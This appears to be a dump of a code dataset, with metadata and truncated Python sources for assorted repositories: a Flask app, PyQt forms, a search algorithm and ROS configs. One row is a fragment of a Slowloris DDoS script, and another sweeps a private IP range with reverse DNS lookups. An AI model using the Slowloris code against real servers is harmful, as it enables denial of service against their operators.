hexsha stringlengths 40 40 | size int64 6 1.04M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 247 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 247 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 247 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.04M | avg_line_length float64 1.53 618k | max_line_length int64 1 1.02M | alphanum_fraction float64 0 1 | original_content stringlengths 6 1.04M | filtered:remove_non_ascii int64 0 538k | filtered:remove_decorators int64 0 917k | filtered:remove_async int64 0 722k | filtered:remove_classes int64 -45 1M | filtered:remove_generators int64 0 814k | filtered:remove_function_no_docstring int64 -102 850k | filtered:remove_class_no_docstring int64 -3 5.46k | filtered:remove_unused_imports int64 -1,350 52.4k | filtered:remove_delete_markers int64 0 59.6k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6ac42f1ec378a9bba90c87d80cc37c6563ac1bc5 | 1,136 | py | Python | app/api/lists.py | palazzem/gello | 19fe9e4aa8de485dd829a87047ec64f89b5fa7ee | [
"Apache-2.0"
] | 44 | 2018-03-28T14:22:23.000Z | 2022-03-15T07:25:06.000Z | app/api/lists.py | palazzem/gello | 19fe9e4aa8de485dd829a87047ec64f89b5fa7ee | [
"Apache-2.0"
] | 44 | 2018-03-28T14:19:03.000Z | 2022-02-16T10:24:57.000Z | app/api/lists.py | palazzem/gello | 19fe9e4aa8de485dd829a87047ec64f89b5fa7ee | [
"Apache-2.0"
] | 12 | 2018-03-28T14:15:43.000Z | 2021-07-19T17:33:20.000Z | # -*- coding: utf-8 -*-
#
# Unless explicitly stated otherwise all files in this repository are licensed
# under the Apache 2 License.
#
# This product includes software developed at Datadog
# (https://www.datadoghq.com/).
#
# Copyright 2018 Datadog, Inc.
#
"""api/lists.py
Exposed lists for autocomplete.
"""
| 23.183673 | 78 | 0.65493 | # -*- coding: utf-8 -*-
#
# Unless explicitly stated otherwise all files in this repository are licensed
# under the Apache 2 License.
#
# This product includes software developed at Datadog
# (https://www.datadoghq.com/).
#
# Copyright 2018 Datadog, Inc.
#
"""api/lists.py
Exposed lists for autocomplete.
"""
from f... | 0 | 671 | 0 | 0 | 0 | 0 | 0 | 39 | 112 |
9d6ed3a4d70d04463333dc2bacd3f64ffaa9050e | 1,181 | py | Python | src/lib/telegram/utils/helpers.py | thonkify/thonkify | 2cb4493d796746cb46c8519a100ef3ef128a761a | [
"MIT"
] | 17 | 2017-08-04T15:41:05.000Z | 2020-10-16T18:02:41.000Z | src/lib/telegram/utils/helpers.py | thonkify/thonkify | 2cb4493d796746cb46c8519a100ef3ef128a761a | [
"MIT"
] | 3 | 2017-08-04T23:37:37.000Z | 2017-08-04T23:38:34.000Z | src/lib/telegram/utils/helpers.py | thonkify/thonkify | 2cb4493d796746cb46c8519a100ef3ef128a761a | [
"MIT"
] | 3 | 2017-12-07T16:30:59.000Z | 2019-06-16T02:48:28.000Z | #!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2017
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
#... | 35.787879 | 71 | 0.733277 | #!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2017
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
#... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 16 | 40 |
45e1e2fa3701f2bf89181cfdbefd64dc0d1f878a | 4,347 | py | Python | neuralogic/core/constructs/atom.py | LukasZahradnik/PyNeurologic | 99025a92e86f772b139369acf75d08a3b506994d | [
"MIT"
] | null | null | null | neuralogic/core/constructs/atom.py | LukasZahradnik/PyNeurologic | 99025a92e86f772b139369acf75d08a3b506994d | [
"MIT"
] | null | null | null | neuralogic/core/constructs/atom.py | LukasZahradnik/PyNeurologic | 99025a92e86f772b139369acf75d08a3b506994d | [
"MIT"
] | null | null | null | from typing import Iterable, Union
AtomType = Union["BaseAtom", "WeightedAtom"]
BodyAtomType = Union["BaseAtom", "WeightedAtom"]
Head = AtomType
Body = Union[Iterable[BodyAtomType], BodyAtomType]
| 31.273381 | 100 | 0.6294 | from typing import Iterable, Union
from neuralogic.core.constructs.predicate import Predicate
from neuralogic.core.constructs import rule, factories
AtomType = Union["BaseAtom", "WeightedAtom"]
BodyAtomType = Union["BaseAtom", "WeightedAtom"]
Head = AtomType
Body = Union[Iterable[BodyAtomType], BodyAtomType]
clas... | 0 | 183 | 0 | 3,802 | 0 | 0 | 0 | 70 | 91 |
49582d1081d0a7a36fa4b6ef69c3cd116e5a9b96 | 351 | py | Python | docs/_exts/setup.py | mihaimitrut/Sylius | 94f16e3adee4183f649ecc9d69faa1b6eb22116e | [
"MIT"
] | 86 | 2018-04-02T13:43:35.000Z | 2021-11-15T12:27:41.000Z | docs/_exts/setup.py | mihaimitrut/Sylius | 94f16e3adee4183f649ecc9d69faa1b6eb22116e | [
"MIT"
] | 82 | 2020-03-08T14:28:59.000Z | 2022-02-26T23:19:18.000Z | docs/_exts/setup.py | mihaimitrut/Sylius | 94f16e3adee4183f649ecc9d69faa1b6eb22116e | [
"MIT"
] | 29 | 2015-01-10T17:55:36.000Z | 2021-05-06T12:45:10.000Z | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
setup(
name = 'sphinx-php',
version = '1.0',
author = 'Fabien Potencier',
author_email = 'fabien@symfony.com',
description = 'Sphinx Extensions for PHP and Symfony',
license = 'MIT',
packages = find_packages(),
install... | 23.4 | 58 | 0.632479 | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
setup(
name = 'sphinx-php',
version = '1.0',
author = 'Fabien Potencier',
author_email = 'fabien@symfony.com',
description = 'Sphinx Extensions for PHP and Symfony',
license = 'MIT',
packages = find_packages(),
install... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b49c63fd876909dbb64700ce718b1e23cbeb9695 | 2,587 | py | Python | SlowLoris DDos/slowloris.py | Marzooq13579/Hack-Gadgets | 4b9351c4465f3e01fb0390b1e86dfe7c26237a19 | [
"MIT"
] | 8 | 2019-02-17T20:11:46.000Z | 2019-10-18T06:27:16.000Z | SlowLoris DDos/slowloris.py | Marzooq13579/Hack-Gadgets | 4b9351c4465f3e01fb0390b1e86dfe7c26237a19 | [
"MIT"
] | null | null | null | SlowLoris DDos/slowloris.py | Marzooq13579/Hack-Gadgets | 4b9351c4465f3e01fb0390b1e86dfe7c26237a19 | [
"MIT"
] | 4 | 2019-02-17T23:00:18.000Z | 2019-10-18T06:27:14.000Z | import argparse
import logging
import random
import socket
import ssl
import sys
import time
lista_de_sockets = []
configuracao_agente = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
]
if __name__ == "__main__":
if len(sys.argv)> ... | 35.930556 | 127 | 0.625048 | import argparse
import logging
import random
import socket
import ssl
import sys
import time
lista_de_sockets = []
configuracao_agente = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
]
def iniciando_socket(ip,porta):
sock = socket... | 0 | 0 | 0 | 0 | 0 | 2,085 | 0 | 0 | 46 |
c3e165f84d82479663c332427c256f869f66e35c | 2,276 | py | Python | fileserver/membership/models.py | zsmith3/Photo-Manager-Server | 2b531159deadd1291d4a8e029a3cf375fb77156f | [
"MIT"
] | null | null | null | fileserver/membership/models.py | zsmith3/Photo-Manager-Server | 2b531159deadd1291d4a8e029a3cf375fb77156f | [
"MIT"
] | 10 | 2019-01-18T17:36:30.000Z | 2022-03-11T23:39:04.000Z | fileserver/membership/models.py | zsmith3/Photo-Manager-Server | 2b531159deadd1291d4a8e029a3cf375fb77156f | [
"MIT"
] | null | null | null | from django.db import models
from django.contrib.auth.models import User, Group
# Authentication user group
models.signals.post_save.connect(create_auth_group, sender=Group)
# User configuration settings
models.signals.post_save.connect(create_user_config, sender=User)
| 31.178082 | 151 | 0.647627 | import secrets
from django.db import models
from django.contrib.auth.models import User, Group
# Authentication user group
class AuthGroup(models.Model):
group = models.OneToOneField(Group, related_name="auth", on_delete=models.CASCADE)
token = models.TextField(max_length=64, default=secrets.token_hex)
d... | 0 | 312 | 0 | 1,372 | 0 | 207 | 0 | -7 | 112 |
2428b80a981e2bd8c1b6521bbf88ed16a990c957 | 2,828 | py | Python | problem_2/problem_2.py | informramiz/problems-vs-algorithms | efa853e7d1c87a6f566faa19e7a46d5ba170b98a | [
"MIT"
] | null | null | null | problem_2/problem_2.py | informramiz/problems-vs-algorithms | efa853e7d1c87a6f566faa19e7a46d5ba170b98a | [
"MIT"
] | null | null | null | problem_2/problem_2.py | informramiz/problems-vs-algorithms | efa853e7d1c87a6f566faa19e7a46d5ba170b98a | [
"MIT"
] | null | null | null | """
Author: Ramiz Raja
Created on: 11/01/2020
Problem: Search in a Rotated Sorted Array
You are given a sorted array which is rotated at some random pivot point.
Example: [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]
You are given a target value to search. If found in the array return its index, otherwise return -1.
... | 31.076923 | 125 | 0.608204 | """
Author: Ramiz Raja
Created on: 11/01/2020
Problem: Search in a Rotated Sorted Array
You are given a sorted array which is rotated at some random pivot point.
Example: [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]
You are given a target value to search. If found in the array return its index, otherwise return -1.
... | 0 | 0 | 0 | 0 | 0 | 744 | 0 | 0 | 92 |
4df80a732327deba391ee66fbd56177b587b60c7 | 188 | py | Python | consulting_reverse/ping_get_reverse.py | andradjp/tools | 4cb2123563518f8a029fa9d67e9e6eabd18aa863 | [
"MIT"
] | null | null | null | consulting_reverse/ping_get_reverse.py | andradjp/tools | 4cb2123563518f8a029fa9d67e9e6eabd18aa863 | [
"MIT"
] | null | null | null | consulting_reverse/ping_get_reverse.py | andradjp/tools | 4cb2123563518f8a029fa9d67e9e6eabd18aa863 | [
"MIT"
] | null | null | null | import ipaddress
import socket
range = ipaddress.IPv4Network('10.7.0.0/22')
for x in range:
try:
print(socket.gethostbyaddr(str(x))[0])
except socket.herror:
pass
| 18.8 | 46 | 0.659574 | import ipaddress
import socket
range = ipaddress.IPv4Network('10.7.0.0/22')
for x in range:
try:
print(socket.gethostbyaddr(str(x))[0])
except socket.herror:
pass
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d0e75528430acec4c392c38b5859feb156cb5d4b | 325 | py | Python | docs/source/notebooks/01.py | JulianKarlBauer/orientation_averaging_mean_field | 75acb5ed58aa6a69cec7508d3d45865bbab3ed3c | [
"MIT"
] | null | null | null | docs/source/notebooks/01.py | JulianKarlBauer/orientation_averaging_mean_field | 75acb5ed58aa6a69cec7508d3d45865bbab3ed3c | [
"MIT"
] | null | null | null | docs/source/notebooks/01.py | JulianKarlBauer/orientation_averaging_mean_field | 75acb5ed58aa6a69cec7508d3d45865bbab3ed3c | [
"MIT"
] | null | null | null | # # Get points witin admissible parameter space
import planarfibers
import pandas as pd
pd.set_option('display.max_columns', 100)
pd.set_option('display.width', 1000)
df = planarfibers.discretization.get_points_on_slices(
radii=["0", "1/2", "9/10"],
la1s=["1/2", "4/6", "5/6", "1"],
numeric=False,
)
print... | 21.666667 | 54 | 0.683077 | # # Get points witin admissible parameter space
import planarfibers
import pandas as pd
pd.set_option('display.max_columns', 100)
pd.set_option('display.width', 1000)
df = planarfibers.discretization.get_points_on_slices(
radii=["0", "1/2", "9/10"],
la1s=["1/2", "4/6", "5/6", "1"],
numeric=False,
)
print... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
06decb392e619bb9bfe10a2d0ce6c1804c2c06e6 | 1,077 | py | Python | virtman/virtman/cmd/virtman.py | vmthunder/packages | e530e243007a0f403cad1b67a490ffb9687969c3 | [
"Apache-2.0"
] | 2 | 2015-03-15T11:12:53.000Z | 2018-10-12T03:05:52.000Z | virtman/virtman/cmd/virtman.py | vmthunder/packages | e530e243007a0f403cad1b67a490ffb9687969c3 | [
"Apache-2.0"
] | null | null | null | virtman/virtman/cmd/virtman.py | vmthunder/packages | e530e243007a0f403cad1b67a490ffb9687969c3 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import sys
from oslo.config import cfg
from virtman.openstack.common import log as logging
#TODO: Auto determine host ip if not filled in conf file
CONF = cfg.CONF
if __name__ == '__main__':
CONF(sys.argv[1:], project='virtman',
default_config_files = ['/root/package... | 26.925 | 85 | 0.601671 | #!/usr/bin/env python
import sys
import threading
import time
from oslo.config import cfg
from virtman import compute
from virtman.openstack.common import log as logging
#TODO: Auto determine host ip if not filled in conf file
CONF = cfg.CONF
def start():
cn = compute.Compute()
class He... | 0 | 0 | 0 | 475 | 0 | 113 | 0 | -9 | 96 |
1985c161fbb9d2809684a53e570e6a3feafe0a55 | 1,380 | py | Python | auger/utils/html.py | m-flak/auger | 5b58e549405bddcc6fc67867c0c151f415e01364 | [
"Apache-2.0"
] | 1 | 2021-05-22T07:47:58.000Z | 2021-05-22T07:47:58.000Z | auger/utils/html.py | m-flak/auger | 5b58e549405bddcc6fc67867c0c151f415e01364 | [
"Apache-2.0"
] | 1 | 2020-01-08T00:11:36.000Z | 2020-01-08T00:17:55.000Z | auger/utils/html.py | m-flak/auger | 5b58e549405bddcc6fc67867c0c151f415e01364 | [
"Apache-2.0"
] | null | null | null | import lxml.html
def clear_body_and_insert(html, insert_content, insert_tag):
"""Clears the body of an HTML string.
Appends <insert_tag>insert_content</insert_tag> to the body.
"""
document = lxml.html.fromstring(html)
for kid in document.body.getchildren():
document.body.remove(kid)
... | 30 | 75 | 0.673188 | import lxml.html
class QuickTag:
""" Callable to quickly create lxml element and access it.
"""
def __init__(self, content, tag):
self._tag = tag
self._content = content
self._element = lxml.html.Element(tag)
self._element.text = content
def __call__(self, as_element=Tr... | 0 | 0 | 0 | 519 | 0 | 0 | 0 | 0 | 23 |
8a7f0387ee1e5a8d71ef14387eec554a34d31620 | 6,789 | py | Python | django_filters/utils.py | timothyjlaurent/django-filter | 06b1a6d65a2b6eccaac91b8ebf17154f9206c7fe | [
"BSD-3-Clause"
] | null | null | null | django_filters/utils.py | timothyjlaurent/django-filter | 06b1a6d65a2b6eccaac91b8ebf17154f9206c7fe | [
"BSD-3-Clause"
] | 1 | 2021-03-26T00:33:06.000Z | 2021-03-26T00:33:06.000Z | django_filters/utils.py | timothyjlaurent/django-filter | 06b1a6d65a2b6eccaac91b8ebf17154f9206c7fe | [
"BSD-3-Clause"
] | null | null | null | from django.core.exceptions import FieldError
from django.db import models
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import Expression
from django.db.models.fields import FieldDoesNotExist
from django.db.models.fields.related import RelatedField, ForeignObjectRel
from django.ut... | 29.517391 | 86 | 0.661953 | import warnings
from django.conf import settings
from django.core.exceptions import FieldError
from django.db import models
from django.db.models.constants import LOOKUP_SEP
from django.db.models.expressions import Expression
from django.db.models.fields import FieldDoesNotExist
from django.db.models.fields.related im... | 0 | 0 | 0 | 0 | 0 | 679 | 0 | 29 | 114 |
4917a993e949da8613ed9d7462ad21e579c8654e | 2,406 | py | Python | example_problems/tutorial/magic_index/services/eval_play1_server.py | romeorizzi/TALight | 2b694cb487f41dd0d36d7aa39f5c9c5a21bfc18e | [
"MIT"
] | 4 | 2021-06-27T13:27:24.000Z | 2022-03-24T10:46:28.000Z | example_problems/tutorial/magic_index/services/eval_play1_server.py | romeorizzi/TALight | 2b694cb487f41dd0d36d7aa39f5c9c5a21bfc18e | [
"MIT"
] | 1 | 2021-01-23T06:50:31.000Z | 2021-03-17T15:35:18.000Z | example_problems/tutorial/magic_index/services/eval_play1_server.py | romeorizzi/TALight | 2b694cb487f41dd0d36d7aa39f5c9c5a21bfc18e | [
"MIT"
] | 5 | 2021-04-01T15:21:57.000Z | 2022-01-29T15:07:38.000Z | #!/usr/bin/env python3
from multilanguage import Env, Lang, TALcolors
# METADATA OF THIS TAL_SERVICE:
args_list = [
('config',str),
('moves',str),
('goal',str),
('feedback',str)
]
ENV =Env(args_list)
TAc =TALcolors(ENV)
LANG=Lang(ENV, TAc, lambda fstring: eval(f"f'{fstring}'"))
# START CODING YOUR SE... | 33.887324 | 138 | 0.671654 | #!/usr/bin/env python3
from sys import stderr, exit
import re
from TALinputs import TALinput
from multilanguage import Env, Lang, TALcolors
from magic_indexes_lib import *
# METADATA OF THIS TAL_SERVICE:
args_list = [
('config',str),
('moves',str),
('goal',str),
('feedback',str)
]
ENV =Env(args_list... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 14 | 90 |
90ce9593ef75ba940c71128b9b153e7ed4868e38 | 6,715 | py | Python | src/ttkbootstrap/dialogs/colordropper.py | 745404527/ttkbootstrap | 692d780cf178dc2a3a7f55953f17899248f3fbae | [
"MIT"
] | 2 | 2022-01-23T01:48:38.000Z | 2022-01-24T00:30:58.000Z | src/ttkbootstrap/dialogs/colordropper.py | 745404527/ttkbootstrap | 692d780cf178dc2a3a7f55953f17899248f3fbae | [
"MIT"
] | null | null | null | src/ttkbootstrap/dialogs/colordropper.py | 745404527/ttkbootstrap | 692d780cf178dc2a3a7f55953f17899248f3fbae | [
"MIT"
] | 1 | 2022-03-19T08:47:08.000Z | 2022-03-19T08:47:08.000Z | """
NOTE: https://stackoverflow.com/questions/25467288/pils-imagegrab-is-capturing-at-the-wrong-resolution
!! This widget is not currently supported on Mac OS
"""
from collections import namedtuple
ColorChoice = namedtuple('ColorChoice', 'rgb hsl hex')
| 39.269006 | 106 | 0.639464 | """
NOTE: https://stackoverflow.com/questions/25467288/pils-imagegrab-is-capturing-at-the-wrong-resolution
!! This widget is not currently supported on Mac OS
"""
import tkinter as tk
import ttkbootstrap as ttk
from ttkbootstrap.constants import *
from ttkbootstrap import colorutils, utility
from PIL import Im... | 0 | 0 | 0 | 6,256 | 0 | 0 | 0 | 62 | 133 |
0d1ec9c67649b422c7054d5aa5bb72e17cf3a3f7 | 534 | py | Python | line.py | srnthsrdhrn/VehicleTrackingGUI | a18d890176de7547d557dfe7cc18dd37afa37411 | [
"MIT"
] | null | null | null | line.py | srnthsrdhrn/VehicleTrackingGUI | a18d890176de7547d557dfe7cc18dd37afa37411 | [
"MIT"
] | null | null | null | line.py | srnthsrdhrn/VehicleTrackingGUI | a18d890176de7547d557dfe7cc18dd37afa37411 | [
"MIT"
] | 1 | 2020-01-13T08:43:57.000Z | 2020-01-13T08:43:57.000Z | import cv2
#from sort.py import rama
cap = cv2.VideoCapture('Night.mp4')
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('output.avi',fourcc, 20.0, (1280,720))
while(cap.isOpened()):
ret, frame = cap.read()
frame = cv2.line(frame, (100,360), (1200,360), (0,0,255), 6)
font = cv2.FONT_HERSHEY... | 21.36 | 84 | 0.664794 | import numpy as np
import cv2
#from sort.py import rama
import time
cap = cv2.VideoCapture('Night.mp4')
fourcc = cv2.VideoWriter_fourcc(*'XVID')
out = cv2.VideoWriter('output.avi',fourcc, 20.0, (1280,720))
while(cap.isOpened()):
ret, frame = cap.read()
frame = cv2.line(frame, (100,360), (1200,360), (0,0,255), ... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -13 | 44 |
c89b8c23db95676e8374607bed0fe07672faee3d | 176 | py | Python | passwords_template.py | Leibniz-HBI/RADICES | 37ce6303c646b9683c5a9c3159489d290bb16ade | [
"MIT"
] | 13 | 2019-07-18T15:28:02.000Z | 2022-01-03T15:16:06.000Z | passwords_template.py | manilevian/RADICES | 23d119c9c648dc07be4f39dc070b447f89e192f3 | [
"MIT"
] | 23 | 2019-07-12T15:43:27.000Z | 2021-12-15T14:41:11.000Z | passwords_template.py | manilevian/RADICES | 23d119c9c648dc07be4f39dc070b447f89e192f3 | [
"MIT"
] | 2 | 2020-05-05T10:22:50.000Z | 2020-08-31T11:10:07.000Z | sparsetwittermysqlpw = "" # mySQL Database Password
# Details for Mailgun
email_to_notify = ""
mailgun_default_smtp_login = ""
mailgun_api_base_url = ""
mailgun_api_key = ""
| 22 | 52 | 0.761364 | sparsetwittermysqlpw = "" # mySQL Database Password
# Details for Mailgun
email_to_notify = ""
mailgun_default_smtp_login = ""
mailgun_api_base_url = ""
mailgun_api_key = ""
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7258cf2245b83f3ff9ff88e231ad10c39f43c719 | 19,502 | py | Python | RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/astra_camera/cfg/UVCCameraConfig.py | QianheYu/xtark_driver_dev | 1708888161cf20c0d1f45c99d0da4467d69c26c8 | [
"BSD-3-Clause"
] | 1 | 2022-03-11T03:31:15.000Z | 2022-03-11T03:31:15.000Z | RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/astra_camera/cfg/UVCCameraConfig.py | bravetree/xtark_driver_dev | 1708888161cf20c0d1f45c99d0da4467d69c26c8 | [
"BSD-3-Clause"
] | null | null | null | RasPi_Dev/ros_ws/devel/lib/python2.7/dist-packages/astra_camera/cfg/UVCCameraConfig.py | bravetree/xtark_driver_dev | 1708888161cf20c0d1f45c99d0da4467d69c26c8 | [
"BSD-3-Clause"
] | null | null | null | ## *********************************************************
##
## File autogenerated for the libuvc_camera package
## by the dynamic_reconfigure package.
## Please do not edit.
##
## ********************************************************/
from dynamic_reconfigure.encoding import extract_params
inf = float('inf')
... | 336.241379 | 18,051 | 0.677879 | ## *********************************************************
##
## File autogenerated for the libuvc_camera package
## by the dynamic_reconfigure package.
## Please do not edit.
##
## ********************************************************/
from dynamic_reconfigure.encoding import extract_params
inf = float('inf')
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
76262c3f52cb6bdee076ea934eea9911ec7e90fe | 16 | py | Python | trackhub/settings.py | mauranolab/trackhub | ef4bc46810c370dc9422c549c34fc70e17cf5e32 | [
"MIT"
] | 36 | 2015-01-02T10:12:54.000Z | 2021-09-13T14:17:03.000Z | trackhub/settings.py | daler/trackhub | 3127aa3eb263b71ff0bea47c84aaf42aef520816 | [
"MIT"
] | 21 | 2015-01-02T11:59:20.000Z | 2021-02-19T21:30:43.000Z | trackhub/settings.py | daler/trackhub | 3127aa3eb263b71ff0bea47c84aaf42aef520816 | [
"MIT"
] | 11 | 2015-04-15T10:13:38.000Z | 2020-10-30T11:43:57.000Z | VALIDATE = True
| 8 | 15 | 0.75 | VALIDATE = True
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3141a149e0e147fb3f5268ae3e05948ad4da7719 | 4,760 | py | Python | log-in.py | NoNameGr/NoName | e437ada090612bb44de0524affb66348537eda56 | [
"MIT"
] | null | null | null | log-in.py | NoNameGr/NoName | e437ada090612bb44de0524affb66348537eda56 | [
"MIT"
] | null | null | null | log-in.py | NoNameGr/NoName | e437ada090612bb44de0524affb66348537eda56 | [
"MIT"
] | 2 | 2020-07-30T04:10:37.000Z | 2020-07-30T04:15:10.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'log-in.ui'
#
# Created by: PyQt5 UI code generator 5.15.0
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtWidgets
... | 44.485981 | 88 | 0.683193 | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'log-in.ui'
#
# Created by: PyQt5 UI code generator 5.15.0
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui... | 32 | 0 | 0 | 4,183 | 0 | 0 | 0 | 15 | 23 |
fe7279ff6c2685a69f9f9d759391b1e8976cada1 | 5,846 | py | Python | workflow.py | f0xd3v1lsw1ld/photoworkflow | 22397e7a474798da5f207586fbabc9b869017ef0 | [
"MIT"
] | null | null | null | workflow.py | f0xd3v1lsw1ld/photoworkflow | 22397e7a474798da5f207586fbabc9b869017ef0 | [
"MIT"
] | null | null | null | workflow.py | f0xd3v1lsw1ld/photoworkflow | 22397e7a474798da5f207586fbabc9b869017ef0 | [
"MIT"
] | null | null | null | #!/usr/bin/python
#######################################################################################################################################################################
#The MIT License (MIT)
#Copyright (c) Copyright 2016, f0xd3v1lsw1ld@gmail.com
#Permission is hereby granted, free of charge, to any p... | 40.317241 | 167 | 0.609819 | #!/usr/bin/python
#######################################################################################################################################################################
#The MIT License (MIT)
#Copyright (c) Copyright 2016, f0xd3v1lsw1ld@gmail.com
#Permission is hereby granted, free of charge, to any p... | 0 | 0 | 0 | 0 | 0 | 3,478 | 0 | -46 | 220 |
70fd33e04f19b6b60b4eaaa62dc06de3503c2599 | 3,161 | py | Python | kuri_mbzirc_challenge_2_exploration/scripts/test_velodyne_box_detection.py | kuri-kustar/kuri_mbzirc_challenge_2 | 88ac9046ef7e7db20380dff068f6801e06b6cb33 | [
"BSD-3-Clause"
] | 1 | 2019-06-14T08:03:49.000Z | 2019-06-14T08:03:49.000Z | kuri_mbzirc_challenge_2_exploration/scripts/test_velodyne_box_detection.py | kucars/kuri_mbzirc_challenge_2 | 88ac9046ef7e7db20380dff068f6801e06b6cb33 | [
"BSD-3-Clause"
] | null | null | null | kuri_mbzirc_challenge_2_exploration/scripts/test_velodyne_box_detection.py | kucars/kuri_mbzirc_challenge_2 | 88ac9046ef7e7db20380dff068f6801e06b6cb33 | [
"BSD-3-Clause"
] | 3 | 2016-06-11T11:08:31.000Z | 2016-11-16T12:45:22.000Z | #!/usr/bin/env python
""" autonomous.py - Version 1.0 2016-10-12
General framework based on Patrick Goebel's nav_test.py
Initial version based on ccam-navigation by Chris Mobley
Autonomous movement added by Jonathan Hodges
Define waypoint destinations for a robot to move autonomously within
a map... | 29.820755 | 87 | 0.725087 | #!/usr/bin/env python
""" autonomous.py - Version 1.0 2016-10-12
General framework based on Patrick Goebel's nav_test.py
Initial version based on ccam-navigation by Chris Mobley
Autonomous movement added by Jonathan Hodges
Define waypoint destinations for a robot to move autonomously within
a map... | 0 | 0 | 0 | 1,726 | 0 | 0 | 0 | 150 | 221 |
454d529c8030916a7bfae3ca5b35bd22b8161c1c | 2,670 | py | Python | zhihu/zhcls/answer.py | githubao/xiao-awesome-zhihu | 120dd16c731ec610e68dc94eff923e878a71e00e | [
"Apache-2.0"
] | null | null | null | zhihu/zhcls/answer.py | githubao/xiao-awesome-zhihu | 120dd16c731ec610e68dc94eff923e878a71e00e | [
"Apache-2.0"
] | null | null | null | zhihu/zhcls/answer.py | githubao/xiao-awesome-zhihu | 120dd16c731ec610e68dc94eff923e878a71e00e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
"""
@description: //TODO
@version: 1.0
@author: BaoQiang
@license: Apache Licence
@contact: mailbaoqiang@gmail.com
@site: http://www.github.com/githubao
@software: PyCharm
@file: answer.py
@time: 2016/10/5 22:54
"""
| 18.93617 | 82 | 0.618352 | #!/usr/bin/env python
# encoding: utf-8
"""
@description: //TODO
@version: 1.0
@author: BaoQiang
@license: Apache Licence
@contact: mailbaoqiang@gmail.com
@site: http://www.github.com/githubao
@software: PyCharm
@file: answer.py
@time: 2016/10/5 22:54
"""
from .base import Base
from .normal import normal_attr
fro... | 0 | 1,093 | 0 | 1,088 | 0 | 0 | 0 | 49 | 178 |
27a094a65838f27768df614eb5bc4305fbc68db8 | 263 | py | Python | 4-24-18/songbase.py | Ian-Harland/misy350-s18-exercises | de40f7337dea8c9f5db6a182e585ff7549c11842 | [
"MIT"
] | null | null | null | 4-24-18/songbase.py | Ian-Harland/misy350-s18-exercises | de40f7337dea8c9f5db6a182e585ff7549c11842 | [
"MIT"
] | null | null | null | 4-24-18/songbase.py | Ian-Harland/misy350-s18-exercises | de40f7337dea8c9f5db6a182e585ff7549c11842 | [
"MIT"
] | null | null | null | from flask import Flask
app = Flask(__name__)
if __name__ == '__main__':
app.run()
| 17.533333 | 40 | 0.661597 | from flask import Flask, redner_template
app = Flask(__name__)
@app.route('/')
def index():
return "hello world"
@app.route('/users/<string:username>')
def users(username):
return "<h1>hello %s<h1>" % username
if __name__ == '__main__':
app.run()
| 0 | 111 | 0 | 0 | 0 | 0 | 0 | 17 | 46 |
50abdb5a768ae1f4298b857206805ec3843ad574 | 446 | py | Python | Medium/48. Majority Number III/Solution.py | Zhenye-Na/LxxxCode | afd79d790d0a7495d75e6650f80adaa99bd0ff07 | [
"MIT"
